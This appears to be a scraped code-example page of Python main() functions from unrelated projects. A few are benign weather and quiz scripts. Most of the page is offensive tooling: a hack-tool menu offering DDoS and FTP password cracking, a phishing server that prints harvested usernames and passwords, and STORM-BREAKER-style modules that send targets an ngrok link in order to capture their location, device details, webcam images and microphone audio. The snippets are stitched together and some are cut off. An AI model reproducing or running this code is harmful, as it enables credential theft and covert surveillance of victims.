示例#1
0
def main():
    while 1:
        print("-" * 60 + "\n")
        print("                  Dark Fantasy - Hack Tool                    ")
        print("-" * 60 + "\n")
        print(
            "1.Port Scanning\n2.DDOS\n3.Banner Grabbing\n4.Web spider(gather all URLs for web hacking)\n5.FTP Password Cracker\n6.Email Scraping"
        )
        try:
            choice = int(input("Enter Your Choice: "))
        except (ValueError, EOFError, KeyboardInterrupt):
            return print('\n[!] Interrupted! or Wrong Value')

        if choice not in range(7):
            return print('Invalid choice')

        hostname = ask_host()
        if choice == 1:
            scanner(hostname)
        elif choice == 6:
            email(hostname)
        elif choice == 3:
            banner(hostname)
        elif choice == 5:
            ftp(hostname)
        elif choice == 2:
            dos(hostname)
        elif choice == 4:
            spider(hostname)
        else:
            print("Invalid choice")
示例#2
0
def main():
	banner()
	url = "http://giga.unitel.ao/api/game/question"
	gb = Gigabot(url)
	gb.get_question()
	gb.get_answers()
	gb.search_in_google()
示例#3
0
文件: main.py 项目: joaroque/lue
def main():
    clear()
    print(banner())
    city_term = Strapy.RED + "\nInsire uma cidade (exemplo: Namibe): " + Strapy.END
    city = input(city_term)
    clima = Clima(city, apikey)
    clima.get_info()
    print(clima.show_info())
示例#4
0
def main():
    try:
        system('clear || cls')
        print(banner())

        city = input('\nCidade -> ')

        system('clear || cls')
        print(banner())

        print(weatherRequest(city, apikey))

    except KeyboardInterrupt:
        pass

    except Exception:
        print('\nERRO: A cidade informada é incorreta.')
示例#5
0
def social():
    banner.banner()
    menu = input(">>>")
    deb.menu(menu)
    print(" ")

    def phpserver():
        with open("Server", "w") as phplog:
            Popen(("php", "-S", "localhost:4040", "-t", "./template"),
                  stderr=phplog,
                  stdout=phplog)

    phpserver()

    url = ngrok.connect(4040, "http").replace("http", "https")
    print(Style.BRIGHT + Fore.CYAN + "[-] Link " + Fore.BLUE + url +
          Style.RESET_ALL)

    def user():
        global stat_file
        if not str(os.stat("./template/username.json").st_size) == stat_file:
            stat_file = str(os.stat("./template/username.json").st_size)
            fileip = open("./template/username.json", "r")
            b = fileip.read()
            try:
                info = json.loads(b)
                for value in info['dev']:
                    print(Style.BRIGHT + Fore.GREEN + " [+] " + Fore.WHITE +
                          "Username : "******"username"])
                    print(Style.BRIGHT + Fore.GREEN + " [+] " + Fore.WHITE +
                          "Password : "******"password"])
                    jsonFile = open("./template/username.json", "w")
                    jsonWrite = jsonFile.write("")
                    jsonFile.close()
            except:
                print("\nCtrl + C To stop\n")
                #os.system("killall -9 php")

    while True:
        user()
示例#6
0
def main():
    banner()
    url = "http://giga.unitel.ao/api/game/question"
    gb = Gigabot(url)
    #bg.start_game()
    #bg.start_game()
    #gb.get_question()
    #gb.get_answers()
    #gb.get_question_in_db()
    #gb.get_question_in_db2()
    #resposta = input("\nInsere a resposta:")
    #bg.answered(resposta)
    #bg.search_in_google()
    #bg.save_question_in_db()
    gb.get_question()
    gb.get_answers()
    gb.get_question_in_db()
    gb.get_question_in_db2()
    gb.search_in_google()

    #menu()
    #bg.get_all_questions_in_db()
    """
示例#7
0
文件: main.py 项目: PoH314/iptracker
def main():
    clearTerminal()
    print(banner())

    while True:
        ipInput = input('Type the IP number to track ~> ')
        if validates_ip(ipInput):
            break
        else:
            print('Invalid ip')
            continue
    getIpInfo = get(f'http://ip-api.com/json/{ipInput}?fields=status,continent,continentCode,country,countryCode,region,regionName,city,timezone,isp,query')
    getIpInfoResult = getIpInfo.json()

    return f'''
示例#8
0
from colorama import Fore
import os
import sys
from modules import banner
import requests
from modules import localhost
import platform

sysname = platform.uname()[0]

while True:
    banner.banner()
    banner.infolist0()

    try:

        input1 = input(Fore.RED + " ┌─[" + Fore.LIGHTGREEN_EX +
                       "STORM-BREAKER" + Fore.BLUE + "~" + Fore.WHITE +
                       "@HOME" + Fore.RED + """]
 └──╼ """ + Fore.WHITE + "$ ")

        if input1 == "1":
            localhost.webcham()

        elif input1 == "2":
            if sysname == "Windows":
                banner.banner()
                print("\n This feature only works on Linux distributions\n".
                      title())
                input(Fore.RED + " [!]" + Fore.GREEN +
                      " Back To Menu (Press Enter...) ")
示例#9
0
def location():
    print(Fore.YELLOW + """ Select Template:

  [1] nearyou
  [2] weather
  """)
    try:

        temp = ""
        input_loc = input(Fore.RED + " ┌─[" + Fore.LIGHTGREEN_EX +
                          "BKH474-TCE" + Fore.BLUE + "~" + Fore.WHITE +
                          "@HOME" + Fore.RED + "/" + Fore.WHITE + "GET-LOC" +
                          Fore.RED + "/" + Fore.BLUE + "Select-Template" +
                          Fore.RED + """]
 └──╼ """ + Fore.WHITE + "$ ")

        if input_loc == "1":
            temp = "nearyou"

        elif input_loc == "2":
            temp = "weather"

        else:
            temp = "weather"

    except:
        print("")
        sys.exit()

    result_file = open("getloc/" + temp + "/result.json", "w")
    result_file.write("")
    result_file.close()
    #---------------------------------------------------------------
    info_file = open("getloc/" + temp + "/info.json", "w")
    info_file.write("")
    info_file.close()
    #---------------------------------------------------------------
    banner.banner()

    def deafult_server():
        with open("logs/location_log.log", "w") as deafult:
            Popen(('php', '-S', 'localhost:8767', '-t', 'getloc/' + temp),
                  stdout=deafult,
                  stderr=deafult)

    deafult_server()
    # - - - - - - - - - - -- - - - - - - - - - - - - - - -
    global token
    a = ngrok.connect(8767, "http", auth_token=token)
    print(Fore.GREEN + " [+]" + Fore.WHITE + str(a).replace('"', '').replace(
        "NgrokTunnel:", "").replace("http://", "https://"))
    print(Fore.RED + "\n [+] " + Fore.LIGHTCYAN_EX +
          "Please Send Link To Target")

    def info():
        time.sleep(4)
        global stat_file_ip
        if not str(os.stat('getloc/' + temp +
                           '/info.json').st_size) == stat_file_ip:
            stat_file_ip = str(
                os.stat('getloc/' + temp + '/info.json').st_size)
            file_ip = open('getloc/' + temp + '/info.json', "r")
            i = file_ip.read()
            try:
                infor = json.loads(i)
                for value in infor['dev']:
                    print(Fore.GREEN + "\n  Os IP : " + Fore.WHITE +
                          value['Os-Ip'])
                    print(Fore.GREEN + "  Os Name : " + Fore.WHITE +
                          value['Os-Name'])
                    print(Fore.GREEN + "  Os Version : " + Fore.WHITE +
                          value['Os-Version'])
                    print(Fore.GREEN + "  CPU Cores : " + Fore.WHITE +
                          value['CPU-Core'])
                    print(Fore.GREEN + "  Browser Name : " + Fore.WHITE +
                          value['Browser-Name'])
                    print(Fore.GREEN + "  Browser Version : " + Fore.WHITE +
                          value['Browser-Version'])
                    print(Fore.GREEN + "  CPU Architecture : " + Fore.WHITE +
                          value['CPU-Architecture'])
                    print(Fore.GREEN + "  Resolution : " + Fore.WHITE +
                          value['Resolution'])
                    print(Fore.GREEN + "  Time Zone : " + Fore.WHITE +
                          value['Time-Zone'])
                    print(Fore.GREEN + "  System Language : " + Fore.WHITE +
                          value['Language'])
                    print(Fore.GREEN + "\n [!] " + Fore.RED +
                          "Waiting for User Interaction")
                    file_recv = open("getloc/" + temp + "/info.json", "w")
                    file_recv.write("")
                    file_recv.close()

            except:
                print("")

    def recv_loc():
        time.sleep(4)
        global stat_file_ip
        if not str(os.stat('getloc/' + temp +
                           '/result.json').st_size) == stat_file_ip:
            stat_file_ip = str(
                os.stat('getloc/' + temp + '/result.json').st_size)
            file_ip = open('getloc/' + temp + '/result.json', "r")
            i = file_ip.read()
            try:
                infor = json.loads(i)
                for value in infor['info']:
                    print(
                        Fore.WHITE + "\n Google Map Link : " + Fore.GREEN +
                        f"https://www.google.com/maps/place/{value['lat']}+{value['lon']}"
                    )

                    print(Fore.GREEN + "\n [!] " + Fore.WHITE + "Ha Ha Ha (: ")
                    file_recv = open("getloc/" + temp + "/result.json", "w")
                    file_recv.write("")
                    file_recv.close()

            except:
                print("")

    while True:
        info()
        recv_loc()
示例#10
0
def webcham():

    try:
        recv_file = open("webcam/Log.log", "w")
        recv_file.write("")
        recv_file.close()
        banner.banner()
        template_list = (Fore.LIGHTCYAN_EX + """Select Template:

      [1] Deafult
      [2] Mobile Camera
      [3] Avatar X-Men \n""")
        print(template_list)
        print(Fore.RED + " [!] " + Fore.GREEN + "Please Enter The Template\n")

        input1 = input(Fore.RED + " ┌─[" + Fore.LIGHTGREEN_EX + "BKH474-TCE" +
                       Fore.BLUE + "~" + Fore.WHITE + "@HOME" + Fore.RED +
                       "/" + Fore.BLUE + "Select-Template" + Fore.RED + """]
 └──╼ """ + Fore.WHITE + "$ ")

        webcam_mode = ""
        if input1 == "1":
            webcam_mode = "deafult"

        #------------------------------------------------

        elif input1 == "2":
            webcam_mode = "camera_temp"

        #------------------------------------------------

        elif input1 == "3":
            webcam_mode = "xmen_temp"

    except:
        print("")
        sys.exit()

    # - - - - - - - - - - -- - - - - - - - - - - - - - - -
    file_iptxt = open("webcam/" + webcam_mode + "/info.json", "w")
    file_iptxt.write("")
    file_iptxt.close()
    # - - - - - - - - - - -- - - - - - - - - - - - - - - -
    file_recv = open("webcam/" + webcam_mode + "/Log.log", "w")
    file_recv.write("")
    file_recv.close()

    # - - - - - - - - - - -- - - - - - - - - - - - - - - -
    def deafult_server():
        with open("logs/deaf_log", "w") as deafult:
            Popen(
                ('php', '-S', 'localhost:4545', '-t', 'webcam/' + webcam_mode),
                stdout=deafult,
                stderr=deafult)

    deafult_server()
    # - - - - - - - - - - -- - - - - - - - - - - - - - - -
    banner.banner()
    global token
    a = ngrok.connect(4545, "http", auth_token=token)
    print(Fore.GREEN + " [+]" + Fore.WHITE + str(a).replace('"', '').replace(
        "NgrokTunnel:", "").replace("http://", "https://"))
    print(Fore.RED + "\n [+] " + Fore.LIGHTCYAN_EX +
          "Please Send Link To Target")

    # - - - - - - - - - - -- - - - - - - - - - - - - - - -

    def info():
        time.sleep(4)
        global stat_file_ip
        if not str(os.stat('webcam/' + webcam_mode +
                           '/info.json').st_size) == stat_file_ip:
            stat_file_ip = str(
                os.stat('webcam/' + webcam_mode + '/info.json').st_size)
            file_ip = open('webcam/' + webcam_mode + '/info.json', "r")
            i = file_ip.read()
            try:
                infor = json.loads(i)
                for value in infor['dev']:
                    print(Fore.GREEN + "\n Os IP : " + Fore.WHITE +
                          value['Os-Ip'])
                    print(Fore.GREEN + " Os Name : " + Fore.WHITE +
                          value['Os-Name'])
                    print(Fore.GREEN + " Os Version : " + Fore.WHITE +
                          value['Os-Version'])
                    print(Fore.GREEN + " CPU Cores : " + Fore.WHITE +
                          value['CPU-Core'])
                    print(Fore.GREEN + " Browser Name : " + Fore.WHITE +
                          value['Browser-Name'])
                    print(Fore.GREEN + " Browser Version : " + Fore.WHITE +
                          value['Browser-Version'])
                    print(Fore.GREEN + " CPU Architecture : " + Fore.WHITE +
                          value['CPU-Architecture'])
                    print(Fore.GREEN + " Resolution : " + Fore.WHITE +
                          value['Resolution'])
                    print(Fore.GREEN + " Time Zone : " + Fore.WHITE +
                          value['Time-Zone'])
                    print(Fore.GREEN + " System Language : " + Fore.WHITE +
                          value['Language'])
                    print(Fore.GREEN + "\n [!] " + Fore.RED +
                          " Waiting to receive victim Picture\n")
                    file_recv = open("webcam/" + webcam_mode + "/info.json",
                                     "w")
                    file_recv.write("")
                    file_recv.close()

            except:
                print("")

# - - - - - - - - - - -- - - - - - - - - - - - - - - -

    def read_recv():
        time.sleep(4)
        global stat_file_ip
        if not str(os.stat("webcam/" + webcam_mode +
                           "/Log.log").st_size) == stat_file_ip:
            stat_file_ip = str(
                os.stat("webcam/" + webcam_mode + "/Log.log").st_size)
            filercv = open("webcam/" + webcam_mode + "/Log.log", "r")
            i = filercv.readlines()
            try:
                i = i[-1]
                i = i.strip()
                # - - - - - - - - - - -- - - - - - - - - - - - - - - -
                print(Fore.GREEN + " [+] " + Fore.WHITE +
                      "Image %s Place Check /images Folder" % (i))
                o = open("webcam/" + webcam_mode + "/Log.log", "w")
                o.write("")
                o.close()
            except:
                print(" ")

    # - - - - - - - - - - -- - - - - - - - - - - - - - - -
    while True:
        read_recv()
        info()
示例#11
0
def micro():
    file_iptxt = open("microphone/info.json", "w")
    file_iptxt.write("")
    file_iptxt.close()
    # - - - - - - - - - - -- - - - - - - - - - - - - - - -
    file_recv = open("microphone/Log.log", "w")
    file_recv.write("")
    file_recv.close()

    # - - - - - - - - - - -- - - - - - - - - - - - - - - -
    def deafult_server():
        with open("logs/deaf_log", "w") as deafult:
            Popen(('php', '-S', 'localhost:6565', '-t', 'microphone'),
                  stdout=deafult,
                  stderr=deafult)

    deafult_server()
    # - - - - - - - - - - -- - - - - - - - - - - - - - - -
    banner.banner()
    global token
    a = ngrok.connect(6565, "http", auth_token=token)
    print(Fore.GREEN + " [+]" + Fore.WHITE + str(a).replace('"', '').replace(
        "NgrokTunnel:", "").replace("http://", "https://"))
    print(Fore.RED + "\n [+] " + Fore.LIGHTCYAN_EX +
          "Please Send Link To Target")

    # - - - - - - - - - - -- - - - - - - - - - - - - - - -

    def info():
        global stat_file_ip
        if not str(os.stat('microphone/info.json').st_size) == stat_file_ip:
            stat_file_ip = str(os.stat('microphone/info.json').st_size)
            file_ip = open('microphone/info.json', "r")
            i = file_ip.read()
            try:
                infor = json.loads(i)
                for value in infor['dev']:
                    print(Fore.GREEN + "\n Os IP : " + Fore.WHITE +
                          value['Os-Ip'])
                    print(Fore.GREEN + " Os Name : " + Fore.WHITE +
                          value['Os-Name'])
                    print(Fore.GREEN + " Os Version : " + Fore.WHITE +
                          value['Os-Version'])
                    print(Fore.GREEN + " CPU Cores : " + Fore.WHITE +
                          value['CPU-Core'])
                    print(Fore.GREEN + " Browser Name : " + Fore.WHITE +
                          value['Browser-Name'])
                    print(Fore.GREEN + " Browser Version : " + Fore.WHITE +
                          value['Browser-Version'])
                    print(Fore.GREEN + " CPU Architecture : " + Fore.WHITE +
                          value['CPU-Architecture'])
                    print(Fore.GREEN + " Resolution : " + Fore.WHITE +
                          value['Resolution'])
                    print(Fore.GREEN + " Time Zone : " + Fore.WHITE +
                          value['Time-Zone'])
                    print(Fore.GREEN + " System Language : " + Fore.WHITE +
                          value['Language'])
                    print(Fore.GREEN + "\n [!] " + Fore.RED +
                          " Waiting to receive victim Voice\n")
                    file_recv = open("microphone/info.json", "w")
                    file_recv.write("")
                    file_recv.close()

            except:
                print("")

# - - - - - - - - - - -- - - - - - - - - - - - - - - -

    def read_recv():
        global stat_file_ip
        if not str(os.stat("microphone/Log.log").st_size) == stat_file_ip:
            stat_file_ip = str(os.stat("microphone/Log.log").st_size)
            filercv = open("microphone/Log.log", "r")
            i = filercv.readlines()
            try:
                i = i[-1]
                i = i.strip()
                # - - - - - - - - - - -- - - - - - - - - - - - - - - -
                print(Fore.GREEN + "\n [+] " + Fore.WHITE +
                      "Voice %s Place Check /microphone/play Folder" % (i))
                o = open("microphone/Log.log", "w")
                o.write("")
                o.close()
            except:
                print(" ")

    while True:
        info()
        read_recv()